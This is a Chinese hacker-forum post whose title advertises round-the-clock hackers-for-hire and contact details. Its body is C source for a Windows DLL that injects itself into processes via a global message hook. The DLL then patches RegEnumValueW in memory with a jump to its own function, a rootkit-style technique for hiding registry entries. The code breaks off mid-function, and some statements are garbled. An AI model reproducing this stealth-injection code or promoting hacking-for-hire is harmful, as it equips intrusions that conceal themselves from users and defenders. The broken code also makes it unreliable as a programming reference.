快捷导航

24小时接单的黑客,网络在线黑客联系方式

[复制链接]
查看: 230|回复: 0

8万

主题

8万

帖子

26万

积分

论坛元老

Rank: 8Rank: 8

积分
260116
发表于 2020-11-1 00:00:00 | 显示全部楼层 |阅读模式
dll代码如下: #include “stdafx.h“ #pragma data_seg(“.shared“) DWORD ProtectingPid = 0; #pragma data_seg() HMODULE MyModuleHandle;HHOOK hhk = NULL;DWORD MyPid = 0;unsigned char Store[10]; long _stdcall SelfInject();long _stdcall SelfEject(); LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam,LPARAM lParam);LONG WINAPI RegEnumValue2(                                 HKEY hKey,                                 DWORD dwIndex,                                 LPTSTR lpValueName,                               LPDWORD lpcchValueName,                            LPDWORD lpReserved,                             LPDWORD lpType,                             LPBYTE lpData,                           LPDWORD lpcbData                         ); void HookAPI();void UnHookAPI(); BOOL APIENTRY DllMain( HANDLE hModule,                        DWORD reason,                       LPVOID lpReserved                     ){    if (reason == DLL_PROCESS_ATTACH)    {        HookAPI();        MyModuleHandle = (HMODULE)hModule;        MyPid = GetCurrentProcessId();    }    return TRUE;} long _stdcall SelfInject(){    ProtectingPid = MyPid;    hhk = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,MyModuleHandle,0);    return (hhk != NULL);} long _stdcall SelfEject(){    return UnhookWindowsHookEx(hhk);} LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam,LPARAM lParam){    return CallNextHookEx(hhk,nCode,wParam,lParam);} void HookAPI(){    DWORD OldProtect, NewProtect = PAGE_EXECUTE_READWRITE;    HMODULE hmod = GetModuleHandle(“Advapi32.dll“);    long pa = (long)GetProcAddress(hmod,“RegEnumValueW“);    long pa2 = (long)RegEnumValue2;    long dAddr = pa2 - pa - 5;    unsigned char *p = (unsigned char *)pa;    unsigned char *p2 = (unsigned char *)(&dAddr);     VirtualProtect((void *)pa,5,NewProtect,&OldProtect);     for (int i=0;i<5;i++)        Store = p;     p[0] = (unsigned char)0xE9;    for (int i=0;i<4;i++)        p[i + 1] = p2;     VirtualProtect((void *)pa,5,OldProtect,&NewProtect);} void UnHookAPI(){    DWORD OldProtect, NewProtect = PAGE_EXECUTE_READWRITE;    HMODULE hmod = GetModuleHandle(“Advapi32.dll“);    long pa = (long)GetProcAddress(hmod,“RegEnumValueW“);    unsigned char *p = (unsigned char *)pa;     VirtualProtect((void *)pa,5,NewProtect,&OldProtect);     for (int i=0;i<5;i++)        p = Store;     VirtualProtect((void *)pa,5,OldProtect,&NewProtect);} LONG WINAPI RegEnumValue2(   

(责任编辑:网络)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

精彩推荐

让创业更简单

  • 反馈建议:XXXXXXXX
  • 客服电话:暂时没有
  • 工作时间:周一到周五9点~22点

云服务支持

黑客联盟,快速搜索

关注我们

Copyright 黑客论坛  Powered by©  技术支持: